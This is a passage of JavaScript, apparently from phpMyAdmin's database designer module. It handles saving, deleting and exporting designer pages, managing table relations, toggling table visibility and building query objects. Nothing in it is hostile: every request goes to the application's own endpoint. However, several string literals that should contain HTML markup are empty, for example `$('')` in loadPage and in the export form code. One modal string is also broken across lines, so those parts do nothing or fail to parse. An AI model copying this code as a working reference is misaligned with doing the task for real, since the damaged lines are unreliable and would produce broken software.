}, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (!designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strDeletePage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } var $messageBox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var deletingCurrentPage = parseInt(selected) === selectedPage; Functions.prepareForAjaxRequest($form); if (designerTablesEnabled) { $.post($form.attr('action'), $form.serialize(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); // end $.post() } else { DesignerPage.deletePage(selected, function (success) { if (!success) { Functions.ajaxShowMessage('Error', false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); } $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; // ------------------------------ SAVE AS PAGES --------------------------------------- DesignerMove.saveAs = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'save_as' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (!designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strSavePageAs, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#save_as_pages'); var selectedValue = $form.find('input[name="selected_value"]').val().trim(); var $selectedPage = $form.find('select[name="selected_page"]'); var choice = $form.find('input[name="save_page"]:checked').val(); var name = ''; if (choice === 'same') { if ($selectedPage.val() === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } name = $selectedPage.find('option:selected').text(); } else if (choice === 'new') { if (selectedValue === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, 2000); return; } name = selectedValue; } var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); if (designerTablesEnabled) { Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } DesignerMove.loadPage(selectedPage); } }); // end $.post() } else { if (choice === 'same') { var selectedPageId = $selectedPage.find('option:selected').val(); DesignerPage.saveToSelectedPage(db, selectedPageId, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } else if (choice === 'new') { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } } $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); }); // select current page by default if (selectedPage !== -1) { $('select[name="selected_page"]').val(selectedPage); } } }); // end $.post() }; DesignerMove.promptToSaveCurrentPage = function (callback) { if (change === 1 || selectedPage === -1) { var modal = DesignerMove.displayModal('
' + Messages.strLeavingPage + '
', Messages.strSavePage, '#designerPromptModal'); $('#designerModalYesButton').on('click', function () { modal.modal('hide'); DesignerMove.save3(callback); }); $('#designerModalNoButton').on('click', function () { modal.modal('hide'); callback(); }); } else { callback(); } }; // ------------------------------ EXPORT PAGES --------------------------------------- DesignerMove.exportPages = function () { var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'export', 'selected_page': selectedPage }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $form = $(data.message); if (!designerTablesEnabled) { $form.append(''); } $.each(DesignerMove.getUrlPos(true).substring(1).split(argsep), function () { var pair = this.split('='); var input = $(''); input.attr('name', pair[0]); input.attr('value', pair[1]); $form.append(input); }); var $formatDropDown = $form.find('#plugins'); $formatDropDown.on('change', function () { var format = $formatDropDown.val(); $form.find('.format_specific_options').hide(); $form.find('#' + format + '_options').show(); }).trigger('change'); var modal = DesignerMove.displayModal($form, Messages.strExportRelationalSchema, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { $('#id_export_pages').trigger('submit'); $('#designerModalGoButton').off('click'); // Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; DesignerMove.loadPage = function (page) { if (designerTablesEnabled) { var paramPage = ''; var argsep = CommonParams.get('arg_separator'); if (page !== null) { paramPage = argsep + 'page=' + page; } $('').appendTo($('#page_content')).trigger('click'); } else { if (page === null) { DesignerPage.showTablesInLandingPage(db); } else if (page > -1) { DesignerPage.loadHtmlForPage(page); } else if (page === -1) { DesignerPage.showNewPageTables(true); } } DesignerMove.markSaved(); }; DesignerMove.grid = function () { var valueSent = ''; if (!onGrid) { onGrid = 1; valueSent = 'on'; document.getElementById('grid_button').className = 'M_butt_Selected_down'; } else { document.getElementById('grid_button').className = 'M_butt'; onGrid = 0; valueSent = 'off'; } DesignerMove.saveValueInConfig('snap_to_grid', valueSent); }; DesignerMove.angularDirect = function () { var valueSent = ''; if (onAngularDirect) { onAngularDirect = 0; valueSent = 'angular'; document.getElementById('angular_direct_button').className = 'M_butt_Selected_down'; } else { onAngularDirect = 1; valueSent = 'direct'; document.getElementById('angular_direct_button').className = 'M_butt'; } DesignerMove.saveValueInConfig('angular_direct', valueSent); DesignerMove.reload(); }; DesignerMove.saveValueInConfig = function (indexSent, valueSent) { $.post('index.php?route=/database/designer', { 'operation': 'save_setting_value', 'index': indexSent, 'ajax_request': true, 'server': server, 'value': valueSent }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } }); }; // ++++++++++++++++++++++++++++++ RELATION ++++++++++++++++++++++++++++++++++++++ DesignerMove.startRelation = function () { if (onDisplayField) { return; } if (!onRelation) { document.getElementById('foreign_relation').style.display = ''; onRelation = 1; document.getElementById('designer_hint').innerHTML = Messages.strSelectReferencedKey; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('rel_button').className = 'M_butt_Selected_down'; } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('rel_button').className = 'M_butt'; clickField = 0; onRelation = 0; } }; // table field DesignerMove.clickField = function (db, T, f, pk) { var pkLocal = parseInt(pk); var argsep = CommonParams.get('arg_separator'); if (onRelation) { if (!clickField) { // .style.display=='none' .style.display = 'none' if (!pkLocal) { alert(Messages.strPleaseSelectPrimaryOrUniqueKey); return; // 0; } // PK if (jTabs[db + '.' + T] !== 1) { document.getElementById('foreign_relation').style.display = 'none'; } clickField = 1; linkRelation = 'DB1=' + db + argsep + 'T1=' + T + argsep + 'F1=' + f; document.getElementById('designer_hint').innerHTML = Messages.strSelectForeignKey; } else { DesignerMove.startRelation(); // hidden hint... if (jTabs[db + '.' + T] !== 1 || !pkLocal) { document.getElementById('foreign_relation').style.display = 'none'; } var left = globX - (document.getElementById('layer_new_relation').offsetWidth >> 1); document.getElementById('layer_new_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_new_relation').offsetHeight; document.getElementById('layer_new_relation').style.top = top + 'px'; document.getElementById('layer_new_relation').style.display = 'block'; linkRelation += argsep + 'DB2=' + db + argsep + 'T2=' + T + argsep + 'F2=' + f; } } if (onDisplayField) { var fieldNameToSend = decodeURIComponent(f); var newDisplayFieldClass = 'tab_field'; var oldTabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); // if is display field if (displayField[T] === f) { // The display field is already the one defined, user wants to remove it newDisplayFieldClass = 'tab_field'; delete displayField[T]; if (oldTabField) { // Clear the style // Set display field class on old item oldTabField.className = 'tab_field'; } fieldNameToSend = ''; } else { newDisplayFieldClass = 'tab_field_3'; if (displayField[T]) { // Had a previous one, clear it if (oldTabField) { // Set display field class on old item oldTabField.className = 'tab_field'; } delete displayField[T]; } displayField[T] = f; var tabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); if (tabField) { // Set new display field class tabField.className = newDisplayFieldClass; } } onDisplayField = 0; document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', { 'operation': 'setDisplayField', 'ajax_request': true, 'server': server, 'db': db, 'table': T, 'field': fieldNameToSend }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); } }); } }; DesignerMove.newRelation = function () { document.getElementById('layer_new_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db + argsep + 'db2=p'; linkRelation += argsep + 'on_delete=' + document.getElementById('on_delete').value + argsep + 'on_update=' + document.getElementById('on_update').value; linkRelation += argsep + 'operation=addNewRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; // -------------------------- create tables ------------------------------------- DesignerMove.startTableNew = function () { CommonParams.set('table', ''); CommonActions.refreshMain('index.php?route=/table/create'); }; DesignerMove.startTabUpd = function (db, table) { CommonParams.set('db', db); CommonParams.set('table', table); CommonActions.refreshMain('index.php?route=/table/structure'); }; // --------------------------- hide tables -------------------------------------- // max/min all tables DesignerMove.smallTabAll = function (idThis) { var icon = idThis.children[0]; var valueSent = ''; if (icon.alt === 'v') { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() === 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = '>'; icon.src = icon.dataset.right; valueSent = 'v'; } else { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() !== 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = 'v'; icon.src = icon.dataset.down; valueSent = '>'; } DesignerMove.saveValueInConfig('small_big_all', valueSent); $('#key_SB_all').toggleClass('M_butt_Selected_down'); $('#key_SB_all').toggleClass('M_butt'); DesignerMove.reload(); }; // invert max/min all tables DesignerMove.smallTabInvert = function () { for (var key in jTabs) { DesignerMove.smallTab(key, 0); } DesignerMove.reload(); }; DesignerMove.relationLinesInvert = function () { showRelationLines = !showRelationLines; DesignerMove.saveValueInConfig('relation_lines', showRelationLines); $('#relLineInvert').toggleClass('M_butt_Selected_down'); $('#relLineInvert').toggleClass('M_butt'); DesignerMove.reload(); }; DesignerMove.smallTabRefresh = function () { for (var key in jTabs) { if (document.getElementById('id_hide_tbody_' + key).innerHTML !== 'v') { DesignerMove.smallTab(key, 0); } } }; DesignerMove.smallTab = function (t, reload) { var id = document.getElementById('id_tbody_' + t); var idThis = document.getElementById('id_hide_tbody_' + t); if (idThis.innerHTML === 'v') { // ---CROSS id.style.display = 'none'; idThis.innerHTML = '>'; } else { id.style.display = ''; idThis.innerHTML = 'v'; } if (reload) { DesignerMove.reload(); } }; DesignerMove.selectTab = function (t) { var idZag = document.getElementById('id_zag_' + t); if (idZag.className !== 'tab_zag_3') { document.getElementById('id_zag_' + t).className = 'tab_zag_2'; } else { document.getElementById('id_zag_' + t).className = 'tab_zag'; } // ---------- var idT = document.getElementById(t); window.scrollTo(parseInt(idT.style.left, 10) - 300, parseInt(idT.style.top, 10) - 300); setTimeout(function () { document.getElementById('id_zag_' + t).className = 'tab_zag'; }, 800); }; DesignerMove.canvasClick = function (id, event) { var n = 0; var selected = 0; var a = []; var Key0; var Key1; var Key2; var Key3; var Key; var x1; var x2; var K; var key; var key2; var key3; // eslint-disable-next-line compat/compat var localX = isIe ? event.clientX + document.body.scrollLeft : event.pageX; // eslint-disable-next-line compat/compat var localY = isIe ? event.clientY + document.body.scrollTop : event.pageY; localX -= $('#osn_tab').offset().left; localY -= $('#osn_tab').offset().top; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) { for (key3 in contr[K][key][key2]) { if (!document.getElementById('check_vis_' + key2).checked || !document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { continue; // if hide } var x1Left = document.getElementById(key2).offsetLeft + 1; // document.getElementById(key2+"."+key3).offsetLeft; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft; // +document.getElementById(contr[K][key2][key3][0]+"."+contr[K][key2][key3][1]).offsetLeft var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var y1 = document.getElementById(key2).offsetTop + document.getElementById(key2 + '.' + key3).offsetTop + heightField; var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]).offsetTop + heightField; if (!selected && localX > x1 - 10 && localX < x1 + 10 && localY > y1 - 7 && localY < y1 + 7) { DesignerMove.drawLine0(x1, x2, y1, y2, osnTab, 'rgba(255,0,0,1)'); selected = 1; Key0 = contr[K][key][key2][key3][0]; Key1 = contr[K][key][key2][key3][1]; Key2 = key2; Key3 = key3; Key = K; } else { DesignerMove.drawLine0(x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]); } } } } } if (selected) { // select relations var left = globX - (document.getElementById('layer_upd_relation').offsetWidth >> 1); document.getElementById('layer_upd_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_upd_relation').offsetHeight - 10; document.getElementById('layer_upd_relation').style.top = top + 'px'; document.getElementById('layer_upd_relation').style.display = 'block'; var argsep = CommonParams.get('arg_separator'); linkRelation = 'T1=' + Key0 + argsep + 'F1=' + Key1 + argsep + 'T2=' + Key2 + argsep + 'F2=' + Key3 + argsep + 'K=' + Key; } }; DesignerMove.updRelation = function () { document.getElementById('layer_upd_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db; linkRelation += argsep + 'operation=removeRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; DesignerMove.visibleTab = function (id, tN) { if (id.checked) { document.getElementById(tN).style.display = 'block'; } else { document.getElementById(tN).style.display = 'none'; } DesignerMove.reload(); DesignerMove.markUnsaved(); }; // max/min all tables DesignerMove.hideTabAll = function (idThis) { if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } DesignerMove.reload(); }; DesignerMove.inArrayK = function (x, m) { var b = 0; for (var u in m) { if (x === u) { b = 1; break; } } return b; }; DesignerMove.noHaveConstr = function (idThis) { var a = []; var K; var key; var key2; var key3; for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name a[key2] = a[contr[K][key][key2][key3][0]] = 1; // exist constr } } } } if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (!DesignerMove.inArrayK(E.elements[i].value, a)) { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } } }; DesignerMove.generalScroll = function () { // if (timeoutId) clearTimeout(timeoutId); timeoutId = setTimeout(function () { // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.left = document.body.scrollLeft + 'px'; // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.top = document.body.scrollTop + 'px'; }, 200); }; // max/min all tables DesignerMove.showLeftMenu = function (idThis) { var icon = idThis.children[0]; $('#key_Show_left_menu').toggleClass('M_butt_Selected_down'); if (icon.alt === 'v') { document.getElementById('layer_menu').style.top = '0px'; document.getElementById('layer_menu').style.display = 'block'; icon.alt = '>'; icon.src = icon.dataset.up; if (isIe) { DesignerMove.generalScroll(); } } else { document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll document.getElementById('layer_menu').style.display = 'none'; icon.alt = 'v'; icon.src = icon.dataset.down; } }; DesignerMove.sideMenuRight = function (idThis) { $('#side_menu').toggleClass('right'); $('#layer_menu').toggleClass('float-start'); var moveMenuIcon = $(idThis.getElementsByTagName('img')[0]); var resizeIcon = $('#layer_menu_sizer > img').toggleClass('float-start').toggleClass('float-end'); var srcResizeIcon = resizeIcon.attr('src'); resizeIcon.attr('src', resizeIcon.attr('data-right')); resizeIcon.attr('data-right', srcResizeIcon); var srcMoveIcon = moveMenuIcon.attr('src'); moveMenuIcon.attr('src', moveMenuIcon.attr('data-right')); moveMenuIcon.attr('data-right', srcMoveIcon); menuMoved = !menuMoved; DesignerMove.saveValueInConfig('side_menu', $('#side_menu').hasClass('right')); $('#key_Left_Right').toggleClass('M_butt_Selected_down'); $('#key_Left_Right').toggleClass('M_butt'); }; DesignerMove.showText = function () { $('#side_menu').find('.hidable').show(); }; DesignerMove.hideText = function () { if (!alwaysShowText) { $('#side_menu').find('.hidable').hide(); } }; DesignerMove.pinText = function () { alwaysShowText = !alwaysShowText; $('#pin_Text').toggleClass('M_butt_Selected_down'); $('#pin_Text').toggleClass('M_butt'); DesignerMove.saveValueInConfig('pin_text', alwaysShowText); }; DesignerMove.startDisplayField = function () { if (onRelation) { return; } if (!onDisplayField) { onDisplayField = 1; document.getElementById('designer_hint').innerHTML = Messages.strChangeDisplay; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('display_field_button').className = 'M_butt_Selected_down'; // '#FFEE99';gray #AAAAAA if (isIe) { // correct for IE document.getElementById('display_field_button').className = 'M_butt_Selected_down_IE'; } } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; onDisplayField = 0; } }; var TargetColors = []; DesignerMove.getColorByTarget = function (target) { var color = ''; // "rgba(0,100,150,1)"; for (var targetColor in TargetColors) { if (TargetColors[targetColor][0] === target) { color = TargetColors[targetColor][1]; break; } } if (color.length === 0) { var i = TargetColors.length + 1; var d = i % 6; var j = (i - d) / 6; j = j % 4; j++; var colorCase = [[1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1]]; var a = colorCase[d][0]; var b = colorCase[d][1]; var c = colorCase[d][2]; var e = 1 - (j - 1) / 6; var r = Math.round(a * 200 * e); var g = Math.round(b * 200 * e); b = Math.round(c * 200 * e); color = 'rgba(' + r + ',' + g + ',' + b + ',1)'; TargetColors.push([target, color]); } return color; }; DesignerMove.clickOption = function (dbName, tableName, columnName, tableDbNameUrl, optionColNameString) { var designerOptions = document.getElementById('designer_optionse'); var left = globX - (designerOptions.offsetWidth >> 1); designerOptions.style.left = left + 'px'; // var top = Glob_Y - designerOptions.offsetHeight - 10; designerOptions.style.top = screen.height / 4 + 'px'; designerOptions.style.display = 'block'; document.getElementById('ok_add_object_db_and_table_name_url').value = tableDbNameUrl; document.getElementById('ok_add_object_db_name').value = dbName; document.getElementById('ok_add_object_table_name').value = tableName; document.getElementById('ok_add_object_col_name').value = columnName; document.getElementById('option_col_name').innerHTML = optionColNameString; }; DesignerMove.closeOption = function () { document.getElementById('designer_optionse').style.display = 'none'; document.getElementById('rel_opt').value = '--'; document.getElementById('Query').value = ''; document.getElementById('new_name').value = ''; document.getElementById('operator').value = '---'; document.getElementById('groupby').checked = false; document.getElementById('h_rel_opt').value = '--'; document.getElementById('h_operator').value = '---'; document.getElementById('having').value = ''; document.getElementById('orderby').value = '---'; }; DesignerMove.selectAll = function (tableName, dbName, idSelectAll) { var parentIsChecked = $('#' + idSelectAll).is(':checked'); var checkboxAll = $('#container-form input[id_check_all=\'' + idSelectAll + '\']:checkbox'); checkboxAll.each(function () { // already checked and then check parent if (parentIsChecked === true && this.checked) { // was checked, removing column from selected fields // trigger unchecked event this.click(); } this.checked = parentIsChecked; this.disabled = parentIsChecked; }); if (parentIsChecked) { selectField.push('`' + tableName + '`.*'); fromArray.push(tableName); } else { var i; for (i = 0; i < selectField.length; i++) { if (selectField[i] === '`' + tableName + '`.*') { selectField.splice(i, 1); } } var k; for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } DesignerMove.reload(); }; DesignerMove.tableOnOver = function (idThis, val, buil) { var builLocal = parseInt(buil); if (!val) { document.getElementById('id_zag_' + idThis).className = 'tab_zag_2'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag_2'; } } else { document.getElementById('id_zag_' + idThis).className = 'tab_zag'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag'; } } }; /** * This function stores selected column information in selectField[] * In case column is checked it add else it deletes * * @param {string} tableName * @param {string} colName * @param {string} checkboxId */ DesignerMove.storeColumn = function (tableName, colName, checkboxId) { var i; var k; var selectKeyField = '`' + tableName + '`.`' + colName + '`'; if (document.getElementById(checkboxId).checked === true) { selectField.push(selectKeyField); fromArray.push(tableName); } else { for (i = 0; i < selectField.length; i++) { if (selectField[i] === selectKeyField) { selectField.splice(i, 1); break; } } for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } }; /** * This function builds object and adds them to historyArray * first it does a few checks on each object, then makes an object(where,rename,groupby,aggregate,orderby) * then a new history object is made and finally all these history objects are added to historyArray[] * * @param {string} dbName * @param {string} tableName * @param {string} colName * @param {string} dbTableNameUrl */ DesignerMove.addObject = function (dbName, tableName, colName, dbTableNameUrl) { var p; var whereObj; var rel = document.getElementById('rel_opt'); var sum = 0; var init = historyArray.length; if (rel.value !== '--') { if (document.getElementById('Query').value === '') { Functions.ajaxShowMessage(Functions.sprintf(Messages.strQueryEmpty)); return; } p = document.getElementById('Query'); whereObj = new DesignerHistory.Where(rel.value, p.value); // make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Where')); sum = sum + 1; } if (document.getElementById('new_name').value !== '') { var renameObj = new DesignerHistory.Rename(document.getElementById('new_name').value); // make Rename object historyArray.push(new DesignerHistory.HistoryObj(colName, renameObj, tableName, hTabs[dbTableNameUrl], 'Rename')); sum = sum + 1; } if (document.getElementById('operator').value !== '---') { var aggregateObj = new DesignerHistory.Aggregate(document.getElementById('operator').value); historyArray.push(new DesignerHistory.HistoryObj(colName, aggregateObj, tableName, hTabs[dbTableNameUrl], 'Aggregate')); sum = sum + 1; // make aggregate operator } if (document.getElementById('groupby').checked === true) { historyArray.push(new DesignerHistory.HistoryObj(colName, 'GroupBy', tableName, hTabs[dbTableNameUrl], 'GroupBy')); sum = sum + 1; // make groupby } if (document.getElementById('h_rel_opt').value !== '--') { if (document.getElementById('having').value === '') { return; } whereObj = new DesignerHistory.Having(document.getElementById('h_rel_opt').value, document.getElementById('having').value, document.getElementById('h_operator').value); // make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Having')); sum = sum + 1; // make having } if (document.getElementById('orderby').value !== '---') { var orderByObj = new DesignerHistory.OrderBy(document.getElementById('orderby').value); historyArray.push(new DesignerHistory.HistoryObj(colName, orderByObj, tableName, hTabs[dbTableNameUrl], 'OrderBy')); sum = sum + 1; // make orderby } Functions.ajaxShowMessage(Functions.sprintf(Messages.strObjectsCreated, sum)); // output sum new objects created var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(init, historyArray.length); DesignerMove.closeOption(); $('#ab').accordion('refresh'); }; DesignerMove.enablePageContentEvents = function () { $('#page_content').off('mousedown'); $('#page_content').off('mouseup'); $('#page_content').off('mousemove'); $('#page_content').on('mousedown', function (e) { DesignerMove.mouseDown(e); }); $('#page_content').on('mouseup', function (e) { DesignerMove.mouseUp(e); }); $('#page_content').on('mousemove', function (e) { DesignerMove.mouseMove(e); }); }; /** * This function enables the events on table items. * It helps to enable them on page loading and when a table is added on the fly. * @param {number} index * @param {object} element */ DesignerMove.enableTableEvents = function (index, element) { $(element).on('click', '.select_all_1', function () { DesignerMove.selectAll($(this).attr('table_name'), $(this).attr('db_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab,.small_tab2', function () { DesignerMove.smallTab($(this).attr('table_name'), 1); }); $(element).on('click', '.small_tab_pref_1', function () { DesignerMove.startTabUpd($(this).attr('db_url'), $(this).attr('table_name_url')); }); $(element).on('click', '.select_all_store_col', function () { DesignerMove.storeColumn($(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab_pref_click_opt', function () { DesignerMove.clickOption($(this).attr('db_name'), $(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('db_table_name_url'), $(this).attr('option_col_name_modal')); }); $(element).on('click', '.tab_field_2,.tab_field_3,.tab_field', function () { var params = $(this).attr('click_field_param').split(','); DesignerMove.clickField(params[3], params[0], params[1], params[2]); }); $(element).find('.tab_zag_noquery').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'), 0, $(this).attr('query_set')); }); $(element).find('.tab_zag_noquery').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'), 1, $(this).attr('query_set')); }); $(element).find('.tab_zag_query').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'), 0, 1); }); $(element).find('.tab_zag_query').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'), 1, 1); }); DesignerMove.enablePageContentEvents(); }; AJAX.registerTeardown('designer/move.js', function () { $('#side_menu').off('mouseenter mouseleave'); $('#key_Show_left_menu').off('click'); $('#toggleFullscreen').off('click'); $('#newPage').off('click'); $('#editPage').off('click'); $('#savePos').off('click'); $('#SaveAs').off('click'); $('#delPages').off('click'); $('#StartTableNew').off('click'); $('#rel_button').off('click'); $('#StartTableNew').off('click'); $('#display_field_button').off('click'); $('#reloadPage').off('click'); $('#angular_direct_button').off('click'); $('#grid_button').off('click'); $('#key_SB_all').off('click'); $('#SmallTabInvert').off('click'); $('#relLineInvert').off('click'); $('#exportPages').off('click'); $('#query_builder').off('click'); $('#key_Left_Right').off('click'); $('#pin_Text').off('click'); $('#canvas').off('click'); $('#key_HS_all').off('click'); $('#key_HS').off('click'); $('.scroll_tab_struct').off('click'); $('.scroll_tab_checkbox').off('click'); $('#id_scroll_tab').find('tr').off('click', '.designer_Tabs2,.designer_Tabs'); $('.designer_tab').off('click', '.select_all_1'); $('.designer_tab').off('click', '.small_tab,.small_tab2'); $('.designer_tab').off('click', '.small_tab_pref_1'); $('.tab_zag_noquery').off('mouseover'); $('.tab_zag_noquery').off('mouseout'); $('.tab_zag_query').off('mouseover'); $('.tab_zag_query').off('mouseout'); $('.designer_tab').off('click', '.tab_field_2,.tab_field_3,.tab_field'); $('.designer_tab').off('click', '.select_all_store_col'); $('.designer_tab').off('click', '.small_tab_pref_click_opt'); $('#del_button').off('click'); $('#cancel_button').off('click'); $('#ok_add_object').off('click'); $('#cancel_close_option').off('click'); $('#ok_new_rel_panel').off('click'); $('#cancel_new_rel_panel').off('click'); $('#page_content').off('mouseup'); $('#page_content').off('mousedown'); $('#page_content').off('mousemove'); }); AJAX.registerOnload('designer/move.js', function () { $('#key_Show_left_menu').on('click', function () { DesignerMove.showLeftMenu(this); return false; }); $('#toggleFullscreen').on('click', function () 